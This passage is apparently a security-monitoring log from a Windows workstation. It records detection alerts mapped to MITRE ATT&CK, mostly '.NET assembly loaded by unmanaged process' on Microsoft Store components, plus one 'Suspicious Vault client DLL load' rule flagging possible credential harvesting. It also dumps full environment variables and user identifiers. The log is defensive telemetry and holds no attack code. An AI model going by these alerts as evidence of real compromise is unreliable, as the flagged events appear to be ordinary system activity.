Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-05T14:02:12+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Program Files\WindowsApps\Microsoft.WindowsStore_22509.1401.17.0_x64__8wekyb3d8bbwe\WinStore.DesktopExtension\WinStore.DesktopExtension.Contracts.dll loaded by unmanaged process C:\Program Files\WindowsApps\Microsoft.WindowsStore_22509.1401.17.0_x64__8wekyb3d8bbwe\WinStore.DesktopExtension\StoreDesktopExtension.exe + Event(s): + Seq: 5924677 + Pid: 14912 + Tid: 16696 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-05 14:02:11.5853384 +0100 CET + Params: base_address➜ 2114bb80000, checksum➜ 0, default_address➜ 100000000000a000, file_path➜ C:\Program Files\WindowsApps\Microsoft.WindowsStore_22509.1401.17.0_x64__8wekyb3d8bbwe\WinStore.DesktopExtension\WinStore.DesktopExtension.Contracts.dll, image_size➜ 57344, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 14912, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005 + + Pid: 14912 + Ppid: 1232 + Name: StoreDesktopExtension.exe + Parent name: svchost.exe + Cmdline: "C:\Program Files\WindowsApps\Microsoft.WindowsStore_22509.1401.17.0_x64__8wekyb3d8bbwe\WinStore.DesktopExtension\StoreDesktopExtension.exe" -Embedding + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\Program Files\WindowsApps\Microsoft.WindowsStore_22509.1401.17.0_x64__8wekyb3d8bbwe\WinStore.DesktopExtension\StoreDesktopExtension.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\WindowsApps\Microsoft.WindowsStore_22509.1401.17.0_x64__8wekyb3d8bbwe\WinStore.DesktopExtension\StoreDesktopExtension.exe" -Embedding] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-05T14:02:12+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Program Files\WindowsApps\Microsoft.WindowsStore_22509.1401.17.0_x64__8wekyb3d8bbwe\WinStore.DesktopExtension\WinStore.DesktopExtension.Contracts.dll loaded by unmanaged process C:\Program Files\WindowsApps\Microsoft.WindowsStore_22509.1401.17.0_x64__8wekyb3d8bbwe\WinStore.DesktopExtension\StoreDesktopExtension.exe + Event(s): + Seq: 5924677 + Pid: 14912 + Tid: 16696 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-05 14:02:11.5853384 +0100 CET + Params: base_address➜ 2114bb80000, checksum➜ 0, default_address➜ 100000000000a000, file_path➜ C:\Program Files\WindowsApps\Microsoft.WindowsStore_22509.1401.17.0_x64__8wekyb3d8bbwe\WinStore.DesktopExtension\WinStore.DesktopExtension.Contracts.dll, image_size➜ 57344, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 14912, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.ref: https://attack.mitre.org/techniques/T1055/, rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection + + Pid: 14912 + Ppid: 1232 + Name: StoreDesktopExtension.exe + Parent name: svchost.exe + Cmdline: "C:\Program Files\WindowsApps\Microsoft.WindowsStore_22509.1401.17.0_x64__8wekyb3d8bbwe\WinStore.DesktopExtension\StoreDesktopExtension.exe" -Embedding + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\Program Files\WindowsApps\Microsoft.WindowsStore_22509.1401.17.0_x64__8wekyb3d8bbwe\WinStore.DesktopExtension\StoreDesktopExtension.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\WindowsApps\Microsoft.WindowsStore_22509.1401.17.0_x64__8wekyb3d8bbwe\WinStore.DesktopExtension\StoreDesktopExtension.exe" -Embedding] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-05T14:02:47+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Program Files\WindowsApps\Microsoft.WindowsStore_22509.1401.17.0_x64__8wekyb3d8bbwe\WinStore.DesktopExtension\System.Buffers.dll loaded by unmanaged process C:\Program Files\WindowsApps\Microsoft.WindowsStore_22509.1401.17.0_x64__8wekyb3d8bbwe\WinStore.DesktopExtension\StoreDesktopExtension.exe + Event(s): + Seq: 5942374 + Pid: 14912 + Tid: 14660 + Type: LoadImage + CPU: 6 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-05 14:02:46.4601552 +0100 CET + Params: base_address➜ 2114bb80000, checksum➜ 43914, default_address➜ 1000000000006000, file_path➜ C:\Program Files\WindowsApps\Microsoft.WindowsStore_22509.1401.17.0_x64__8wekyb3d8bbwe\WinStore.DesktopExtension\System.Buffers.dll, image_size➜ 40960, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 14912, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.name: .NET assembly loaded by unmanaged process + + Pid: 14912 + Ppid: 1232 + Name: StoreDesktopExtension.exe + Parent name: svchost.exe + Cmdline: "C:\Program Files\WindowsApps\Microsoft.WindowsStore_22509.1401.17.0_x64__8wekyb3d8bbwe\WinStore.DesktopExtension\StoreDesktopExtension.exe" -Embedding + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\Program Files\WindowsApps\Microsoft.WindowsStore_22509.1401.17.0_x64__8wekyb3d8bbwe\WinStore.DesktopExtension\StoreDesktopExtension.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\WindowsApps\Microsoft.WindowsStore_22509.1401.17.0_x64__8wekyb3d8bbwe\WinStore.DesktopExtension\StoreDesktopExtension.exe" -Embedding] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-05T14:02:47+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Program Files\WindowsApps\Microsoft.WindowsStore_22509.1401.17.0_x64__8wekyb3d8bbwe\WinStore.DesktopExtension\System.Buffers.dll loaded by unmanaged process C:\Program Files\WindowsApps\Microsoft.WindowsStore_22509.1401.17.0_x64__8wekyb3d8bbwe\WinStore.DesktopExtension\StoreDesktopExtension.exe + Event(s): + Seq: 5942374 + Pid: 14912 + Tid: 14660 + Type: LoadImage + CPU: 6 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-05 14:02:46.4601552 +0100 CET + Params: base_address➜ 2114bb80000, checksum➜ 43914, default_address➜ 1000000000006000, file_path➜ C:\Program Files\WindowsApps\Microsoft.WindowsStore_22509.1401.17.0_x64__8wekyb3d8bbwe\WinStore.DesktopExtension\System.Buffers.dll, image_size➜ 40960, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 14912, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/ + + Pid: 14912 + Ppid: 1232 + Name: StoreDesktopExtension.exe + Parent name: svchost.exe + Cmdline: "C:\Program Files\WindowsApps\Microsoft.WindowsStore_22509.1401.17.0_x64__8wekyb3d8bbwe\WinStore.DesktopExtension\StoreDesktopExtension.exe" -Embedding + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\Program Files\WindowsApps\Microsoft.WindowsStore_22509.1401.17.0_x64__8wekyb3d8bbwe\WinStore.DesktopExtension\StoreDesktopExtension.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\WindowsApps\Microsoft.WindowsStore_22509.1401.17.0_x64__8wekyb3d8bbwe\WinStore.DesktopExtension\StoreDesktopExtension.exe" -Embedding] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-05T14:32:05+01:00 level=info msg=sending alert: [Suspicious Vault client DLL load]. Text: Suspicious process C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe loaded the Credential Vault Client DLL for potential credentials harvesting + Event(s): + Seq: 9244027 + Pid: 1232 + Tid: 4916 + Type: CreateProcess + CPU: 4 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-05 14:32:00.8407566 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\BackgroundTaskHost.exe" -ServerName:BackgroundTaskHost.WebAccountProvider, directory_table_base➜ 411c0a000, domain➜ ARCHRABBIT, exe➜ C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe, exit_status➜ Success, flags➜ APPLICATION_ID|PACKAGED, kproc➜ ffffb289487cb080, name➜ backgroundTaskHost.exe, pid➜ 11532, ppid➜ 1232, real_ppid➜ 1232, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-05 14:32:00.8407566 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ LOW, token_is_elevated➜ false, username➜ nedo + Metadata: subtechnique.id: T1555.004, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.id: T1555, rule.name: Suspicious Vault client DLL load, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, subtechnique.name: Windows Credential Manager, tactic.name: Credential Access, rule.seq.link: 1762349729146678652, technique.name: Credentials from Password Stores + + Pid: 1232 + Ppid: 1028 + Name: svchost.exe + Parent name: services.exe + Cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\WINDOWS\system32\svchost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + + Seq: 9245688 + Pid: 11532 + Tid: 3592 + Type: LoadImage + CPU: 4 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-05 14:32:00.9393728 +0100 CET 